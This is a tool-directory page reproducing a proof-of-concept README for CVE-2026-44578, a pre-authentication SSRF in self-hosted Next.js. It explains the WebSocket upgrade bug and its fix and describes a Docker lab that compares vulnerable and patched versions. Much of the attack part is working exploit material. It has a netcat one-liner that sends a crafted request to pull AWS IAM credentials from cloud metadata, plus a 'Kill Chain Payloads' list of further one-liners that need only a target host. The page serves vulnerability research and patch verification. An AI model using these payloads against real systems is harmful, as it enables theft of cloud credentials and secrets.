Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket Upgrade SSRF — pre-auth credential theft via localhost:80. Lab + exploit + audit. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-44578
Vulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — pre-auth credential theft via localhost:80. Lab + exploit + audit.

View Repository
92144 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF

Pre-authentication Server-Side Request Forgery in Next.js self-hosted deployments.
A single crafted HTTP request extracts AWS credentials, secrets, and internal service data from localhost:80.

FieldValue
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypeSSRF (CWE-918)
AffectedNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (self-hosted only)
Fixed15.5.16, 16.2.5
Auth RequiredNone
User InteractionNone

Vulnerability

The WebSocket upgrade handler in router-server.ts calls proxyRequest() whenever parsedUrl.protocol is truthy — without checking finished and statusCode routing-completion flags that the HTTP handler had always enforced.

// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

After normalizeRepeatedSlashes collapses http:/// to http:/, the hostname is null and http-proxy connects to localhost:80 with the correct path. Any co-located service (cloud metadata, admin panels, internal APIs) is exposed.


Exploit Command

printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl cannot send absolute-form URIs. Use raw TCP: nc, ncat, socat, or Python sockets.


How It Works

Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Lab Reproduction

Prerequisites

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Setup

git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

This starts 5 containers:

ContainerRoleExposed
nextjs-vulnNext.js 15.5.15 (vulnerable)localhost:3000
nextjs-fixedNext.js 15.5.16 (patched)localhost:3001
imds-sidecar-vulnFake AWS IMDSv1 sharing network with vulnlocalhost:80 (from vuln's perspective)
imds-sidecar-fixedFake AWS IMDSv1 sharing network with fixedlocalhost:80 (from fixed's perspective)
internal-apiInternal service mock—

The IMDS sidecars use network_mode: "service:nextjs-*" so the fake metadata service is on localhost:80 inside the Next.js container — modeling a real cloud instance.

Run the Exploit

# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Teardown

./teardown.sh

Evidence

1. Lab Running

All containers up — vulnerable (15.5.15) on :3000, patched (15.5.16) on :3001, IMDS sidecars sharing network namespaces.

Lab Running

2. SSRF — AWS Metadata Listing

Single request returns the full EC2 metadata directory (ami-id, instance-id, iam/, placement/, etc.)

Metadata Listing

3. SSRF — IAM Credential Extraction

Full IAM credential set: AccessKeyId, SecretAccessKey, Token, and Expiration.

IAM Credentials

4. SSRF — User-Data Secrets

EC2 user-data bootstrap script containing DB_PASSWORD and API_KEY.

User-Data Secrets

5. SSRF — Instance Identity

Instance ID extracted via the same SSRF vector.

Instance ID

6. Patched Instance — Blocked

Same payload against Next.js 15.5.16. Connection closed immediately — no data returned.

Patched Blocked

7. IMDS Logs — Proof of Server-Side Execution

The fake IMDS logs show GET requests arriving from 127.0.0.1 (the Next.js process), proving the SSRF is server-side.

IMDS Logs

8. Full PoC Suite — Vulnerable (7/7 Confirmed)

All 7 SSRF tests return sensitive data on the vulnerable instance.

Full Suite Vuln

9. Full PoC Suite — Patched (0/7 Blocked)

All 7 tests blocked on the patched instance. Fix confirmed.

Full Suite Patched


Kill Chain Payloads

# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Download Tool